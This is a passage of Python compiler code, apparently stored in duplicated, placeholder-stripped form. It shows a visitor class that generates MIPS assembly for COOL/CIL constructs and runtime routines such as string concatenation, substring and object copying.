node.ttype[0] != '_':\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n else:\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.PushParam)\n def visit(self, node: cil.PushParam):\n self.write_file('# PUSHPARAM')\n if node.name[0] != '_':\n self.write_file('li $a0, {}'.format(self.type_index.index(node.\n name)))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))\n self.push()\n self.write_file('')\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n\n @visitor.when(cil.Return)\n def visit(self, node: cil.Return):\n self.write_file('# RETURN')\n self.write_file('lw $v0, {}($fp)'.format(self.offset[node.value]))\n\n @visitor.when(cil.Label)\n def visit(self, node: cil.Label):\n self.write_file('_cil_label_{}:'.format(node.name), tabbed=False)\n\n @visitor.when(cil.Goto)\n def visit(self, node: cil.Goto):\n self.write_file('# GOTO')\n self.write_file('j _cil_label_{}'.format(node.label))\n self.write_file('')\n\n @visitor.when(cil.IfGoto)\n def visit(self, node: cil.IfGoto):\n self.write_file('# IF GOTO')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.condition]))\n self.write_file('bnez $a0, _cil_label_{}'.format(node.label))\n self.write_file('')\n <function token>\n <function token>\n <function token>\n\n def object_copy(self):\n self.write_file('function_Object_copy:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $t0 12($fp)')\n self.write_file('lw $a0 4($t0)')\n self.write_file('move $t4 $a0')\n self.write_file('li $v0 9')\n self.write_file('syscall')\n self.write_file('move $t2 $v0')\n self.write_file('li $t3 0')\n self.write_file('_objcopy_loop:', tabbed=False)\n self.write_file('lw $t1 0($t0)')\n self.write_file('sw $t1 0($v0)')\n self.write_file('addiu $t0 $t0 4')\n self.write_file('addiu $v0 $v0 4')\n self.write_file('addiu $t3 $t3 4')\n self.write_file('ble $t4 $t3 _objcopy_loop')\n self.write_file('_objcopy_div_end_:', tabbed=False)\n self.write_file('move $v0 $t2')\n self.write_file('jr $ra')\n self.write_file('')\n\n def object_typename(self):\n self.write_file('function_Object_type_name:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a1 0($a1)')\n self.write_file('mulu $a1 $a1 4')\n self.write_file('addu $a1 $a1 $s1')\n self.write_file('lw $a1 0($a1)')\n self.write_file('move $a2 $0')\n self.write_file('move $t2 $a1')\n self.write_file('_str_len_clsname_:', tabbed=False)\n self.write_file('lb $a0 0($t2)')\n self.write_file('beq $a0 $0 _end_clsname_len_')\n self.write_file('addiu $a2 $a2 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _str_len_clsname_')\n self.write_file('_end_clsname_len_:', tabbed=False)\n self.write_file('sw $a2, 12($v0)')\n self.write_file('sw $v0, 12($v1)')\n self.write_file('sw $a1, 16($v1)')\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_length(self):\n self.write_file('function_String_length:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 12($fp)')\n self.write_file('lw $v0 12($a0)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n\n def io_in_string(self):\n self.write_file('function_IO_in_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('sw $v1 12($v0)')\n self.write_file('move $t5 $v0')\n self.write_file('la $a0 str_buffer')\n self.write_file('li $a1 1025')\n self.write_file('li $v0 8')\n self.write_file('syscall')\n self.write_file('move $a0 $0')\n self.write_file('la $t2 str_buffer')\n self.write_file('_in_string_str_len_:', tabbed=False)\n self.write_file('lb $t0 0($t2)')\n self.write_file('beq $t0 $0 _end_in_string_str_len_')\n self.write_file('beq $t0 10 _end_in_string_str_len_')\n self.write_file('addiu $a0 $a0 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _in_string_str_len_')\n self.write_file('_end_in_string_str_len_:', tabbed=False)\n self.write_file('sw $a0 12($v1)')\n self.allocate_memory()\n self.write_file('la $t4 str_buffer')\n self.write_file('move $t1 $v0')\n self.write_file('_in_str_copy_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_copy_')\n self.write_file('beq $t0 10 _end_in_str_copy_')\n self.write_file('sb $t0 0($t1)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('j _in_str_copy_')\n self.write_file('_end_in_str_copy_:', tabbed=False)\n self.write_file('sw $v0 16($t5)')\n self.write_file('la $t4 str_buffer')\n self.write_file('_in_str_clean_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_clean_')\n self.write_file('sb $0 0($t4)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _in_str_clean_')\n self.write_file('_end_in_str_clean_:', tabbed=False)\n self.write_file('move $v0 $t5')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_int(self):\n self.write_file('function_IO_out_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 12($a0)')\n self.write_file('li $v0 1')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_string(self):\n self.write_file('function_IO_out_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 16($a0)')\n self.write_file('li $v0 4')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def conforms(self):\n self.write_file(f'function_{CONFORMS_FUNC}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t0 12($fp)')\n self.write_file(f'lw $t1 16($fp)')\n self.write_file(\n f'beq $t1 {self.type_index.index(OBJECT_CLASS)} _conforms_ret_true_'\n )\n self.write_file('_conforms_loop_:', tabbed=False)\n self.write_file('beq $t0 $t1 _conforms_ret_true_')\n self.write_file(\n f'beq $t0 {self.type_index.index(OBJECT_CLASS)} _conforms_ret_false_'\n )\n self.write_file('mulu $t0 $t0 4')\n self.write_file('addu $t0 $t0 $s2')\n self.write_file('lw $t0 0($t0)')\n self.write_file('j _conforms_loop_')\n self.write_file('_conforms_ret_true_:', tabbed=False)\n self.write_file('li $v0 1')\n self.write_file('j _conforms_ret_')\n self.write_file('_conforms_ret_false_:', tabbed=False)\n self.write_file('li $v0 0')\n self.write_file('_conforms_ret_:')\n self.write_file('jr $ra')\n self.write_file('')\n\n def isvoid(self):\n self.write_file(f'function_{ISVOID_FUNC}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=BOOLEAN_CLASS))\n self.write_file(f'lw $t0 12($fp)')\n self.write_file(f'la $t1 {VOID_MIPS_NAME}')\n self.write_file(f'beq $t0 $t1 _is_void_true_')\n self.write_file(f'sw $0 12($v0)')\n self.write_file(f'j _is_void_end_')\n self.write_file(f'_is_void_true_:', tabbed=False)\n self.write_file(f'li $t0 1')\n self.write_file(f'sw $t0 12($v0)')\n self.write_file(f'_is_void_end_:', tabbed=False)\n self.write_file(f'jr $ra')\n self.write_file(f'')\n", "<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n\n def __init__(self, inherit_graph, output_file='mips_code.mips'):\n self.inherit_graph, _ = inherit_graph\n self.offset = dict()\n self.type_index = []\n self.dispatchtable_code = []\n self.prototypes_code = []\n self.cur_labels_id = 0\n self.output_file = output_file\n\n def push(self):\n self.write_file('sw $a0 0($sp)')\n self.write_file('addiu $sp $sp -4')\n\n def pop(self, dest=None):\n self.write_file(f'addiu $sp $sp 4')\n\n def write_file(self, msg, mode='a', tabbed=True):\n f = open(self.output_file, mode)\n f.write('{}{}\\n'.format('\\t' if tabbed else '', msg))\n f.close()\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n <function token>\n\n @visitor.on('node')\n def visit(self, node):\n pass\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n <function token>\n\n @visitor.when(cil.Type)\n def visit(self, node: cil.Type):\n self.dispatchtable_code.append(f'# Type {node.type_name}')\n self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node.\n methods)))\n self.dispatchtable_code.append('li $v0 9')\n self.dispatchtable_code.append('syscall')\n for i in range(len(node.methods)):\n self.dispatchtable_code.append('la $t1 function_{}'.format(node\n .methods[i].function_name))\n self.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i))\n self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self.\n type_index.index(node.type_name)))\n self.dispatchtable_code.append('sw $v0 8($t0)')\n self.dispatchtable_code.append('')\n self.prototypes_code.append(f'# Type {node.type_name}')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('li $v0 9')\n self.prototypes_code.append('syscall')\n class_index = self.type_index.index(node.type_name)\n self.prototypes_code.append('li $a0 {}'.format(class_index))\n self.prototypes_code.append('sw $a0 0($v0)')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('sw $a0 4($v0)')\n self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index))\n self.prototypes_code.append('')\n\n @visitor.when(cil.Function)\n def visit(self, node: cil.Function):\n self.write_file(f'function_{node.name}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'subiu $sp, $sp, {4 * len(node.vlocals)}')\n for i in range(len(node.args)):\n self.offset[node.args[i].name] = 12 + i * 4\n for i in range(len(node.vlocals)):\n self.offset[node.vlocals[i].name] = i * -4\n for inst in node.body:\n if isinstance(inst, cil.Equal) or isinstance(inst, cil.Div):\n inst.id = self.new_labels_id()\n self.visit(inst)\n self.write_file(f'addiu $sp, $sp, {4 * len(node.vlocals)}')\n self.write_file('jr $ra')\n self.write_file('')\n\n @visitor.when(cil.Assign)\n def visit(self, node: cil.Assign):\n self.write_file('# ASSIGN')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.source]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n <function token>\n <function token>\n\n @visitor.when(cil.Mult)\n def visit(self, node: cil.Mult):\n self.write_file('# *')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('mul $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n <function token>\n\n @visitor.when(cil.Equal)\n def visit(self, node: cil.Equal):\n self.write_file('lw $t0 {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $t1 {}($fp)'.format(self.offset[node.right]))\n self.write_file(f'beq $t0 $zero _eq_false_{node.id}_')\n self.write_file(f'beq $t1 $zero _eq_false_{node.id}_')\n self.write_file('lw $a0 0($t0)')\n self.write_file('lw $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n INTEGER_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n BOOLEAN_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(STRING_CLASS))\n )\n self.write_file(f'bne $a0 $a2 _not_basic_type_{node.id}_')\n self.write_file(f'_eq_str_{node.id}_:', tabbed=False)\n self.write_file('lw\\t$t3 12($t0)')\n self.write_file('lw\\t$t3 12($t3)')\n self.write_file('lw\\t$t4, 12($t1)')\n self.write_file('lw\\t$t4, 12($t4)')\n self.write_file(f'bne $t3 $t4 _eq_false_{node.id}_')\n self.write_file(f'beq $t3 $0 _eq_true_{node.id}_')\n self.write_file('addu $t0 $t0 16')\n self.write_file('lw $t0 0($t0)')\n self.write_file('addu $t1 $t1 16')\n self.write_file('lw $t1 0($t1)')\n self.write_file('move $t2 $t3')\n self.write_file(f'_verify_ascii_sequences_{node.id}_:', tabbed=False)\n self.write_file('lb $a0 0($t0)')\n self.write_file('lb $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('addu $t0 $t0 1')\n self.write_file('addu $t1 $t1 1')\n self.write_file('addiu $t2 $t2 -1')\n self.write_file(f'bnez $t2 _verify_ascii_sequences_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_not_basic_type_{node.id}_:', tabbed=False)\n self.write_file(f'bne $t0 $t1 _eq_false_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_eq_int_bool_{node.id}:', tabbed=False)\n self.write_file('lw $a3 12($t0)')\n self.write_file('lw $t4 12($t1)')\n self.write_file(f'bne $a3 $t4 _eq_false_{node.id}_')\n self.write_file(f'_eq_true_{node.id}_:', tabbed=False)\n self.write_file('li $a0 1')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'b end_equal_{node.id}_')\n self.write_file(f'_eq_false_{node.id}_:', tabbed=False)\n self.write_file('li $a0 0')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'end_equal_{node.id}_:', tabbed=False)\n <function token>\n\n @visitor.when(cil.EqualOrLessThan)\n def visit(self, node: cil.EqualOrLessThan):\n self.write_file('# <=')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.GetAttrib)\n def visit(self, node: cil.GetAttrib):\n self.write_file('# GETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.Allocate)\n def visit(self, node: cil.Allocate):\n self.write_file('# ALLOCATE')\n if node.ttype == VOID_TYPE:\n self.write_file(f'la $v0 {VOID_MIPS_NAME}')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n else:\n offset_proto = self.type_index.index(node.ttype) * 8\n self.write_file('lw $t0 {}($s0)'.format(offset_proto))\n self.write_file('sw $t0, 0($sp)')\n self.write_file('addiu $sp, $sp, -4')\n self.write_file('')\n self.visit(cil.Call(dest=node.dest, f='Object_copy'))\n self.write_file('addiu $sp, $sp, 4')\n self.write_file('')\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.VCall)\n def visit(self, node: cil.VCall):\n self.write_file('# VCALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n if node.ttype[0] == '_':\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n else:\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n self.write_file(f'mulu $a2, $a2, 8')\n self.write_file(f'addu $a2, $a2, $s0')\n self.write_file(f'lw $a1, 0($a2)')\n self.write_file(f'lw $a2, 8($a1)')\n self.write_file(f'lw $a0 {node.f * 4}($a2)')\n self.write_file(f'jalr $a0')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n if node.ttype[0] != '_':\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n else:\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.PushParam)\n def visit(self, node: cil.PushParam):\n self.write_file('# PUSHPARAM')\n if node.name[0] != '_':\n self.write_file('li $a0, {}'.format(self.type_index.index(node.\n name)))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))\n self.push()\n self.write_file('')\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n\n @visitor.when(cil.Return)\n def visit(self, node: cil.Return):\n self.write_file('# RETURN')\n self.write_file('lw $v0, {}($fp)'.format(self.offset[node.value]))\n\n @visitor.when(cil.Label)\n def visit(self, node: cil.Label):\n self.write_file('_cil_label_{}:'.format(node.name), tabbed=False)\n\n @visitor.when(cil.Goto)\n def visit(self, node: cil.Goto):\n self.write_file('# GOTO')\n self.write_file('j _cil_label_{}'.format(node.label))\n self.write_file('')\n\n @visitor.when(cil.IfGoto)\n def visit(self, node: cil.IfGoto):\n self.write_file('# IF GOTO')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.condition]))\n self.write_file('bnez $a0, _cil_label_{}'.format(node.label))\n self.write_file('')\n <function token>\n <function token>\n <function token>\n\n def object_copy(self):\n self.write_file('function_Object_copy:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $t0 12($fp)')\n self.write_file('lw $a0 4($t0)')\n self.write_file('move $t4 $a0')\n self.write_file('li $v0 9')\n self.write_file('syscall')\n self.write_file('move $t2 $v0')\n self.write_file('li $t3 0')\n self.write_file('_objcopy_loop:', tabbed=False)\n self.write_file('lw $t1 0($t0)')\n self.write_file('sw $t1 0($v0)')\n self.write_file('addiu $t0 $t0 4')\n self.write_file('addiu $v0 $v0 4')\n self.write_file('addiu $t3 $t3 4')\n self.write_file('ble $t4 $t3 _objcopy_loop')\n self.write_file('_objcopy_div_end_:', tabbed=False)\n self.write_file('move $v0 $t2')\n self.write_file('jr $ra')\n self.write_file('')\n\n def object_typename(self):\n self.write_file('function_Object_type_name:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a1 0($a1)')\n self.write_file('mulu $a1 $a1 4')\n self.write_file('addu $a1 $a1 $s1')\n self.write_file('lw $a1 0($a1)')\n self.write_file('move $a2 $0')\n self.write_file('move $t2 $a1')\n self.write_file('_str_len_clsname_:', tabbed=False)\n self.write_file('lb $a0 0($t2)')\n self.write_file('beq $a0 $0 _end_clsname_len_')\n self.write_file('addiu $a2 $a2 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _str_len_clsname_')\n self.write_file('_end_clsname_len_:', tabbed=False)\n self.write_file('sw $a2, 12($v0)')\n self.write_file('sw $v0, 12($v1)')\n self.write_file('sw $a1, 16($v1)')\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_length(self):\n self.write_file('function_String_length:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 12($fp)')\n self.write_file('lw $v0 12($a0)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n 